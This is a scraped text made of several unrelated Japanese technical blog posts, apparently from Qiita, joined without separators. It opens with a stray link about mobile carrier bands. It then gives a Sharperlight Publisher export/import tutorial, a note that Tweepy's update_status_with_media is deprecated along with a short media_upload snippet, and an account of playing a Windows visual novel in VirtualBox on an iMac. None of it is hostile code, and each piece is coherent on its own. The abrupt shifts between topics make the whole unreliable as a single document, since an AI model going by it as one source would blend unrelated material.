- [携帯会社の「バンド」ってなに？Yモバイルのバンドについて説明](https://mobile.inest-inc.co.jp/ymobile-band/#:~:text=%E3%83%90%E3%83%B3%E3%83%89%E3%80%8D%E3%81%A8%E3%81%AF%EF%BC%9F-,%EF%BD%9C%E3%83%87%E3%83%BC%E3%82%BF%E9%80%9A%E4%BF%A1%E3%81%AE%E9%80%9A%E3%82%8A%E9%81%93%E3%81%AE%E3%81%93%E3%81%A8,%E5%BF%85%E8%A6%81%E3%81%8C%E3%81%82%E3%82%8B%E3%81%AE%E3%81%A7%E3%81%99%E3%80%82)
【パブリッシャー】レポートのエクスポート/インポートをしてみる

過去の記事において[Sharperlight](https://sharperlight.jp/)パブリッシャーで、WEBレポートを作成したり、データソースのエンドポイントとして利用することができるということを紹介しました。今回の記事では、そういう目的で作成したパブリッシャーアイテムをまとめてエクスポートしたり、エクスポートしたアイテムをインポートする方法を見てみます。これらの機能は、パブリッシャーアイテムのバックアップをとったり、試験環境から本環境へアイテムを配置する場合などに役に立ちます。
### エクスポート ###
[Sharperlight](https://sharperlight.jp/)アプリケーションメニューからパブリッシャーを起動します。
アイテム一覧グリッド上の右クリックメニューから、**エクスポート/インポート** -> **アイテムのエクスポート** を選択します。
![2022-05-05 Figure 01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2530698/ee0412b2-93f9-4226-1e86-b3be7209fc0a.png)
チェックボックス付きの索引ウインドウが表示されます。ひとつひとつエクスポートしたいアイテムにチェックを入れるか、右クリックメニューより**全て選択**を選び全アイテムにチェックを入れたりします。
![2022-05-05 Figure 02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2530698/3c871170-7fb4-4d89-f9fe-e0d772107c4b.png)
また、**演算子または値**と**値**フィールドを利用して、絞り込みを行ったりします。
下記の例では、**``<like>``演算子**を利用して、**SAPBI**から始まる名前を持つアイテムのみに絞り込みます。更新ボタンを押すことで、**SAPBI**から始まる名前を持つアイテムのみがグリッドに表示されます。その後は、右クリックメニューより**全て選択**を選び、絞り込まれた全アイテムにチェックを入れます。
![2022-05-05 Figure 03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2530698/fcd5216e-a2e8-0729-ce4e-177d641fe31a.png)
OKボタンを押して確定します。
選択したアイテムのエクスポートダイアログが表示されるので、保存するフォルダを選び、保存ボタンを押します。
![2022-05-05 Figure 04.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2530698/8add4cdd-8ce3-0f2f-cf63-49b68b5c1c98.png)
以上でエクスポートは完了です。拡張子 **.pbqlist** をもつファイルが生成されます。
### インポート ###
[Sharperlight](https://sharperlight.jp/)アプリケーションメニューからパブリッシャーを起動します。
アイテム一覧グリッド上の右クリックメニューから、**エクスポート/インポート** -> **アイテムのインポート** を選択します。
![2022-05-05 Figure 05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2530698/9d8f7bbd-5e67-913e-25d7-b60c299c13fe.png)
インポートダイアログが表示されるので、拡張子 **.pbqlist** をもつファイルを選択します。
![2022-05-05 Figure 06.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2530698/bc47605c-50df-2e30-4889-e4cbbb1818b6.png)
開くボタンを押した後、チェックボックス付きのインポートウインドウが表示されます。ひとつひとつインポートしたいアイテムにチェックを入れるか、**すべて選択**ボタンを使用してアイテムにチェックを入れます。OKボタンを押すことで、インポートが行われます。
![2022-05-05 Figure 07.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2530698/9f63397d-821a-2e4c-30a6-d08ac7c5cfc9.png)
Tweepyで「API.update_status_with_media」を使って画像付きTweetをするのは推奨されていない。

https://docs.tweepy.org/en/stable/api.html#tweepy.API.update_status_with_media
こちらによれば、
```
Deprecated since version 3.7.0: Use API.media_upload() instead.
```
となっている。
日本語のTweepy解説記事では多くが「API.update_status_with_media」を利用したサンプルを掲載している。
ちょっとした拍子に動かなくなっちゃうかもしれない。

### じゃあどうすればいいんだよ
ドキュメントに書いてあった通り、「API.media_upload」で画像をアップロードしてから「API.update_status」でmedia.idを指定する。
```
tweet_txt = "あいうえお"
tw_img_pass = "file.png"

media = api.media_upload(tw_img_pass)
api.update_status(status=tweet_txt, media_ids=[media.media_id])
```

### API V2で画像付きツイートできないの？
悲しいことに今日（2022/5/5）現在できないらしい。
MacでWindows10対応のPCゲームをやってみた

# 1. はじめに

PCシナリオゲームはWindows環境でやるのが一般的ですが、macOSでプレイできるのか気になったのでやってみることに。
今回は比較的軽いシナリオゲームをやったので問題なくプレイできた。

# 2. 使用環境
- iMac(27-inch,Late 2012) macOS Catalina ←結構古い
- VirtualBox
- windows10のisoファイル
- 蒼の彼方のフォーリズム(あおかな)実行フォルダ

# 3. 環境設定
**3-1.** iMacにVirtualBox環境を導入、VirtualBoxでWindowsOSの起動の方法は下のURLを参考にした。
[https://qiita.com/linus_sh/items/6a3c06121772d29dd915](https://qiita.com/linus_sh/items/6a3c06121772d29dd915)

**※**　自分は念のためメインメモリーを4GB、ストレージを200GBにした。後、なるべく大画面でプレイしたいのでディスプレイの表示倍率は175%にした。
![スクリーンショット 2022-05-05 13.24.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2567136/b09ec716-b130-76a4-1671-6b0bc3a9b50e.png)


**3-2.** Windows10を起動した後、Windowsのセットアップ。少し時間かかる。

**3-3.** セットアップが完了したら、あおかなフォルダを仮想Windwows上にもってくる。
共有フォルダを使うのがいいけども、なぜか共有されなかったのでGoogle Driveにアップロードしたあおかなフォルダを適当な場所にダウンロード。ちなみに自分はドキュメントに保存した。
![スクリーンショット 2022-05-05 13.29.00.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2567136/556dcd28-7734-d947-260f-c1b6a2744ef9.png)


**3-4.** そしたらあおかなフォルダにあるexeファイルを実行する。
![スクリーンショット 2022-05-05 13.27.20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2567136/dc1ec62f-e9c1-4108-38bf-f55d733cf58a.png)
**iMacの大画面であおかなとか最高じゃん**
bgm流れた瞬間うるってきたぞ
それでは2週目いってみよう！

# 4. まとめ
今回はVirtualBoxを導入したimacでシナリオゲームを実行できることを確かめた。
わざわざmacでプレイする必要性あるのか...？